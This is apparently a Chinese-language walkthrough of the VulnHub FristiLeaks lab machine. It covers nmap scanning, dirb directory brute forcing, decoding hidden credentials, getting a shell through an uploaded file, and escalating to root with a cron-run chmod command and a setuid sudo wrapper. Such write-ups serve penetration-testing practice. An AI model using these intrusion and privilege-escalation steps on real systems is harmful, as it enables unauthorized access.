vulnhub

按要求将mac地址改为08:00:27:A5:A6:76

  • 主机发现

两种方式:

  1. nmap -sP 192.168.199.0/24
  2. netdiscover -r 192.168.199.0/24
  • 端口扫描

nmap -sS -sV -p1-65535 192.168.199.174 -A

  • 扫描结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT   STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop
  • 访问

  • 主页没什么附加链接,于是访问robots给出的三个目录,都是同一张图

  • 很烦,回到主页面,说到一句话KEEP CALM AND DRINK FRISTI,于是我们尝试附加上fristi再进行目录爆破
  • dirb http://192.168.199.174/fristi/
  • 得到了两个目录:

index.php
uploads/index.html

  • index.php是一个登陆框

  • 不是弱密码,查看网页源码,发现了一串base64

iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5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WlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==

  • 解码是一张png格式图片,于是我们尝试利用如下命令:

base64 -d /tmp/encoded.txt decoded.png

  • 得到猜测是密码的图片

  • 另外由于之前的页面源码上的一段注释
1
2
3
4
5
6

TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz
-->

  • 猜测地址在/uploads/shell.jpg,一试果然成功反弹shell

  • 查看用户情况
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin
  • 尝试susudo,需要密码,但之前的密码不行,转而查看home目录下的用户

  • cd到eezeepz用户目录,查看目录下文件

  • 注意到notes.txt,查看

  • 根据提示,在/tmptouch一个runthis文件,因为他会执行runthis中的命令,于是我们写入
    命令echo "/usr/bin/../../bin/chmode -R 777 /home/admin">/tmp/this

  • 于是就可以读取/home/admin下的文件

  • cryptpass.py

  • Cryptepass.txt

  • whoisyourgodnow.txt

  • 根据加密方式,写出解密方法:

1
2
3
4
5
6
7
8
9
import base64,codecs,sys

def decodeString(str):
string = str[::-1]
string = string.encode("rot13")
return base64.b64decode(string)

print decodeString("=RFn0AKnlMHMPIzpyuTI0ITG")
print decodeString("mVGZ3O3omkJLmy2pcuTq")
  • 得到了:

1.mVGZ3O3omkJLmy2pcuTq :thisisalsopw123
2.=RFn0AKnlMHMPIzpyuTI0ITG :LetThereBeFristi!

  • 尝试登录用户:

  • 基本概念:

    1.tty(终端设备的统称):
    tty一词源于Teletypes,或teletypewriters,原来指的是电传打字机,是通过串行线用打印机键盘通过阅读和发送信息的东西,后来这东西被键盘和显示器取代,所以现在叫终端比较合适。
    终端是一种字符型设备,他有多种类型,通常使用tty来简称各种类型的终端设备。
    2.pty(虚拟终端):
    但是假如我们远程telnet到主机或使用xterm时不也需要一个终端交互么?是的,这就是虚拟终端pty(pseudo-tty)

  • 解决办法:

    Python -c ‘import pty;pty.spawn(“/bin/sh”)’

  • 为什么这样可以呢,找了一番:

    1. Spawn a process, and connect its controlling terminal with the current process’s standard io. This is often used to baffle programs which insist on reading from the controlling terminal.
    2. spawn 是通过 fork 方式实现,然后子进程执行具体的命令,然后父进程去获取终端的输出,强调获取数据而已
    3. 出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符
  • 然后可以进入fristigod账户:

  • ls -la

  • 到.secret_admin_stuff看看

  • 继续 ls -la 查看具体信息

  • docom是一个可执行文件,但权限不够

  • 回去查看history(这一步其实在渗透的过程很重要,根据用户的命令历史搜集线索)

  • 可以看到 “fristigod”用户一直sudo来执行命令,尝试sudo -l

  • 密码:LetThereBeFristi!

  • 创建一个shell

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

  • 直接去看/root下的文件

我们可以将doCom反编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __cdecl (int argc, const char **argv, const char **envp)
{
char dest[8]; // [sp+10h] [bp-80h]@1
char v5; // [sp+18h] [bp-78h]@1
int v6; // [sp+70h] [bp-20h]@1
const char **i; // [sp+80h] [bp-10h]@7
__uid_t v8; // [sp+8Ch] [bp-4h]@1

*(_QWORD *)dest = 0LL;
memset(&v5, 0, 0x58uLL);
v6 = 0;
v8 = getuid();
if ( v8 != 503 )
{
fwrite("Nice try, but wrong user ;)n", 1uLL, 0x1CuLL, stderr);
exit(1);
}
if ( argc <= 1 )
{
fwrite("Usage: ./program_name terminal_command ...", 1uLL, 0x2AuLL, stderr);
exit(1);
}
strcat(dest, argv[1]);
for ( i = argv + 2; *i; ++i )
{
strcat(dest, " ");
strcat(dest, *i);
}
setuid(0);
system(dest);
return 0;
}

strcat将两个char类型连接
逻辑就很明显了:
检查用户的id如果不等于503,打印如下内容

Nice try, but wrong user ;)

检查参数,并利用system执行所给参数

参考:http://sec-redclub.com/archives/741/